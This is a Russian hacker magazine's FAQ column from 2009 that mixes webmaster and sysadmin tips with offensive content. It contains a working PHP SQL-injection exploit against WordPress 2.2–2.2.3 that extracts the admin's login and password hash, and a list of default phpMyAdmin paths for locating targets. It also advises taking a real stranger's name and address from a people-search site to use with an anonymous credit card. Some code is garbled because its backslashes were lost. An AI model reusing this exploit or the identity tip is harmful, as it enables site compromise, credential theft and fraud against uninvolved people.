Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 128, АВГУСТ 2009 г.

FAQ

Маг (icq 884888, http://wap-chat.ru)

Q: Как чекать Google PR, я уже знаю. Каким образом можно написать чекер другого мерила популярности сайта - Alexa rank?

A: Очень просто! Alexa.com даже предоставляет специальный XML-интерфейс для вебмастеров, с помощью которого можно чекать не только, собственно, rank, но и многие другие важные параметры домена (возраст, количество ссылающихся сайтов, рост аудитории за месяц и т.д.).
Вот пример простейшего чекера параметра rank:

<?php
function alexarank($url, $ip = '127.0.0.1')
{
$url = preg_replace('/https?:///i', '', $url);
$uid = sprintf('2007%02d%02d%02d%02d%02d', rand(1,12), rand(1,28),rand(1,24), rand(1,60), rand(1,60));
$alexa_url = 'http://xml.alexa.com/data?cli=10&dat=nsa&ver=quirk-searchstatus&uid=' .
$uid . '&userip=' . $ip . '&url=' . urlencode($url);
$content = file_get_contents($alexa_url);
if (preg_match('/<POPULARITY URL="[^"]+" TEXT="(d+)"/>/i', $content, $matches))
{
return trim($matches[1]);
}
return 'Unknown';
}
print alexarank('google.com');
?>

Этот пример ты сможешь с легкость переделать под парсинг других элементов XML-ответа Alexa'ы.

Q: А если я не хочу писать PHP-скрипты для проверки Alexa rank? Как чекать этот показатель прямо в онлайне?

A: Если лень одолела тебя, то для сабжа могу посоветовать использовать либо сам портал alexa.com (что крайне неудобно, ибо позволяет за раз проверять только один домен), либо любой из онлайн-сервисов по массовой проверке Google PR/Alexa rank; например, http://extra-traffic.com/pra_checker.htm.ru.htm. Из недостатков сервиса могу отметить, что за один раз он позволяет чекать лишь 15 доменов.

Q: А как средствами PHP определять ОС, крутящуюся на удаленном сервере?

A: Проще всего обратиться к онлайн-сервису netcraft.com, который должен определять аптайм, версию ОС и другие параметры удаленного хоста:

<?php
$netcraft = file_get_contents('http://searchdns.netcraft.com/?position=limited&host=google.com');
preg_match('|<a href="http://uptime.netcraft.com/up/graph/?host=[a-z0-9._-]+">(.+?)</a>|i',$netcraft,$os_arr);
print $os_arr[1];
?>

А вообще, юзай старый добрый Nmap (проекту, кстати, вот-вот стукнет 10 лет, - Прим. Step'а).

Q: Купил анонимную кредитку с балансом без привязки к какому-либо имени/адресу. Где найти реально существующие, но левые имя и адрес?

A: Специально для тебя американцы создали замечательный сервис http://whitepages.anywho.com, который позволяет провести поиск по огромной базе амеров :).

К примеру, я его использую так:

  1. В поле «Last Name (Required)» вбиваю любую распространенную амерскую фамилию, например, «Jackson» (RIP! – Прим. ред);
  2. В списке «State» выбираю любой более или менее крупный штат, например, «CA»;
  3. Жму на «Find A Person»;
  4. Использую любой результат, выданный поиском, например:

A L Jackson
Some address
Some city, CA some zip code
(408) some phone number

Q: Как бы мне проверить, какую информацию передает мой компьютер в интернет?

A: Недавно открывшийся сервис whoer.net с удовольствием предоставляет тебе такую возможность. Просто зайдя на его главную страницу (а лучше – на расширенную версию whoer.net/ext), ты узнаешь о себе следующие данные:

  1. IP Address (имя хоста, диапазон IP, название организации, является ли этот ip проксиком, whois).
  2. Location (континент, страна, регион, город, почтовый код, широта/долгота, положение на гуглмэпс).
  3. Time (зона, локальное время, системное время, UTC, GMT, время восхода и захода солнца).
  4. HTTP Headers (все хэдеры, посланные твоим браузером).
  5. Scripts (поддержка ActiveX, VBScript, JavaScript, Java).
  6. Версия ОС, данные монитора (разрешение, глубина цвета).
  7. Navigator (все данные браузера).
  8. Plugins (плагины, установленные в браузере).

Как видишь, скрыть что-либо в интернете от посторонних глаз становится все труднее и труднее. Так что, не забывай юзать прокси/соксы/VPN.

Q: Можно ли как-то обеспечить свое инкогнито «ВКонтакте»?

A: DeeIP, модератор WHB, недавно опубликовал один из способов остаться анонимным в этой популярнейшей социальной сети. Заключается он вот в чем:

1. Заново регистрируемся «ВКонтакте», заполнив все поля, кроме полей с именем и фамилией;

2. Копируем в адресную строку браузера javascript-код:

JavаScript: this.disabled=true; document.regMe.submit();

3. Жмем <Enter> и наслаждаемся инкогнито без имени и фамилии :)

Q: Как 100%-но можно определять версии и типы движков распространенных форумов?

A: Стопроцентных способов не существует, но для других случаев резервист античата d_x написал неплохой скрипт под названием «Forum Detector». Вот что умеет эта софтина:

  • Определяет тип форума (на данный момент поддерживается распознавание IPB, phpBB, vBulletin, MyBB)
  • Определяет версию форума по разным критериям
  • Определяет возможные уязвимости форума и предлагает подходящие для них эксплойты (конечно, паблик)
  • Определяет ТиЦ и PR сайта
  • Поддерживает прокси, socks5, прокси с авторизацией, socks5 с авторизацией

Скачать тулзу и почитать подробней о ней ты сможешь в топике форума: http://forum.antichat.ru/thread114708.html.

Q: В каких директориях на сервере может по дефолту стоять phpMyAdmin?

A: Вот небольшой список самых распространенных директорий, куда админы ставят phpmyadmin:

/phpMyAdmin-x.x.x/ (здесь "x.x.x" - версия скрипта)
/phpm/
/phpmy/
/phpmyadmin/
/PMA/
/mysql/
/admin/
/db/
/dbadmin/
/phpmyadmin2/
/mysqladmin/
/mysql-admin/
/myadmin/
/phpMyA/
/phpmyad/
/phpMyAdmi/

А вообще, для поиска phpmyadmin можно также юзать всемогущий гугл (site:site.com phpmyadmin), файл robots.txt и простую смекалку.

Q: Не знаешь, как работать в шелле с дампами mysql?

A: Легко! По большому счету, тебе понадобятся всего 2 команды:

1. Импорт дампа в базу

mysql -h[host] -u[user] -p[pass] [base] < dump.sql

2. Экспорт дампа из базы

mysqldump -h[host] -u[user] -p[pass] [base] > dump.sql

Далее ты сможешь чередовать эти команды с другими. Например, для извлечения дампа с последующим его архивированием можно использовать конструкцию:

mysqldump -h[host] -u[user] -p[pass] [base]|tar zcfv base.tar.gz

Q: Каким образом через веб-интерфейс можно бэкапить большие базы данных mysql? PhpMyAdmin и иже с ним не справляются!

A: Для подобных целей вся хакерская братия давно использует замечательный PHP-скрипт Sypex Dumper (sypex.net/products/dumper), который, в отличие от многих подобных скриптов, не загружает бекап-файл целиком в память, благодаря чему ему безразличен размер базы данных, и он одинаково быстро работает как с маленькими, так и с большими объемами данных.

Основные преимущества тулзы:

  • высокая скорость работы;
  • работа с базами любого размера;
  • простота использования;
  • удобный интерфейс;
  • многотомные бекапы;
  • мультиязычность;
  • компактность.

Q: Прочитал твои статьи про малоизвестные уязвимости WordPress. Раскрой еще какой-нибудь баг.

A: Хорошо :). Расскажу о еще одной неопубликованной sql-инъекции вордпресса, которую мельком упомянул уже небезызвестный тебе Alex Concha в своем испаноязычном блоге buayacorp.com.

Итак, открывай файл ./wp-includes/atomlib.php и находи в нем следующий код:

function xml_escape($string)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$string );
}

Функция, конечно, всем хороша для защиты данных, передаваемых с помощью метода PUT в atom-протоколе, но невнимательные разработчики забыли защититься от простого бэкслеша «» (а WordPress, как известно, автоматически слеширует только GET, POST, COOKIE, SERVER пакеты). Если принять во внимание тот факт, что она присутствует во всех версиях движка, начиная от 2.2 и заканчивая последней на сегодняшний день 2.7.1, то можно понять, что это упущение представляет собой огромную опасность.

В качестве примера использования скули я приведу код эксплойта для движка версий 2.2 - 2.2.3 с правами edit_posts (этого тебе будет вполне достаточно для поиска вариантов эксплуатации описываемой баги в более новых версиях вордпресса, так как про приватные эксплойты мне рассказывать очень не хочется):

<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<feed>
<entry>
<id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
<title type="html">test</title>
<summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>
</entry>
</feed>';

$out = "PUT $path HTTP/1.1rn";
$out .= "Host: $sitern";
$out .= "Content-Type: application/atom+xmlrn";
$out .= "Connection: Closern";
$out .= "User-Agent: Operarn";
$out .= "Authorization: Basic $authrn";
$out .= "Content-Length: ".strlen($data)."rnrn";
fwrite($fp, $out.$data);
fclose($fp);
?>

После успешного срабатывания эксплойта заходи на блог жертвы по адресу http://lamer.com/?p=[ID поста из эксплойта]. Теперь заголовок поста будет равным @test', post_excerpt =", а пермалинком поста будет что-то вроде этого: http://lamer/wp222/2009/03/01/admin:21232f297a57a5a743894a0e4a801fc3/ (да-да, логин и хеш пароля админа в конце).

Q: Есть несколько файлов, снятых телефоном, в формате .mp4. Засада в том, что сняли не в привычной горизонтальной ориентации, а – в вертикальной. То есть изображение получилось повернутым на 90 градусов. Как привести его в привычный вид (и, желательно, максимально просто)?

A: Знакомая проблема :). Одно из решений – использовать какой-нибудь редактор видео. В этом случае удастся провернуть действие без потери качества (что называется «lossless»). Подойдет всем известный редактор VirtualDub (www.virtualdub.org). Алгоритм следующий:

1. Выбираем файл через меню «File -> Open video File»;

2. Переходим в «Video -> Filters», чтобы выбрать фильтр (пункт Add) Rotate.

3. Далее задаем вариант преобразований: «left by 90» или «right by 90».

После этого остается только сохранить видеофайл с внесенными изменениями. В случае с видео приходится настраивать параметры сжатия. Первым делом в меню «Video» необходимо выбрать «Full processing mode». Затем – выбрать нужный кодек через «Video -> compression».

4. После этого выбирай файл «File -> Save as AVI».

5. Начнется рендеринг файла, в результате которого будет готовый AVI-файл.

Другой вариант совсем простой – использовать для этой цели известный просмотрщик Picasa (picasa.google.com/intl/ru), в котором также есть фильтр для поворота изображения.

Q: После установки VMWare на дистрибутиве Fedora 10 (iso с вашего диска) столкнулся с проблемой - в гостевых машинах клавиатура работала совсем не корректно. Например, нажатие кнопки Up срабатывает как <Alt+F2>. Как решить проблему?

A: Да, я сам столкнулся с таким багом. Исправить его поможет строчка в файле /etc/vmware/config:

xkeymap.nokeycodeMap = true

Q: Как из лога формата tcpdump (tcpdump, Wireshark, Kismet и др) извлечь данные?

A: На самом деле, очень многое можно сделать даже средствами самого снифера Wireshark (www.wireshark.org), у которого круто прокачаны возможности анализа. Однако упростить задачу можно с помощью автоматизированных утилит.

Одна из самый классных - chaosreader (chaosreader.sourceforge.net), написанная на Perl'е. Отдаешь на вход утилиты лог-файл в формате tcpdump или snoff, а на выходе получаешь - оформленный в виде HTML-страницы отчет с воссозданными telnet-сессиями, файлами, переданными FTP, пропарсенным http-трафиком (HTML-странички, изображения GIF и JPEG) и т.д. и т.п.

Тулза pcapsipdump (sourceforge.net/projects/psipdump) поможет в случае, если необходимо извлечь из дампа с перехваченным трафиком SIP-сессии, то есть голосовой трафик. При этом каждая SIP-сессия сохраняется в отдельный файл для удобного прослушивания.

У Smbsniff (http://www.hsc.fr/ressources/outils/smbsniff/index.html.en) задача другая - сохранить файлы, передавемые по протоколу SMB/CIFS. Другими словами, все то, что передается по локальной сети через «Сетевое окружение».

Если нужно повторно воспроизвести сессию на основе перехваченного трафика, то лучшего инструмента, чем Tcpreplay (tcpreplay.synfin.net), не найти. Входящая в набор утилита tcprewrite позволяет внести изменения в заголовки пакетов, сохраненных в дампе снифера. А tcpreplay «проигрывает» дамп в сеть на нужной скорости: tcpreplay --intf1=eth0 sample.pcap.

Q: В прошлом номере ты писал про 2-hop SSH-туннель. А как еще можно сделать что-то вроде SSH Proxy?

A: Предположим, есть сервер serv1, адрес которого - serv1.mydomain.com. Помимо этого есть сервер serv2 с адресом 192.168.1.100, который находится в сети, доступной с serv1, но недоступный извне. На локальной машине имя юзера - locuser, а на всех остальных - remuser.
Чтобы создать SSH прокси, пишем в ~/.ssh/config следующие строки:

Host *
ForwardAgent yes

Host serv1
HostName alpha.pupkin.net
User locuser

Host serv2
HostName 192.168.1.100
User remuser
ProxyCommand ssh serv1 nc %h %p

Что мы получаем в результате? Для машин serv1 и serv2 мы создали так называемые алиасы. На SSH мы подключаемся под обычным юзером, набрав в консоли «ssh alpha». А набрав «ssh beta» мы сможем приконнетиться к недоступному доселе серверу serv2, подключившись к нему через машину alpha. В качестве прокси используется известная тулза netcat (netcat.sourceforge.net).

Содержание
ttfb: 7.4589252471924 ms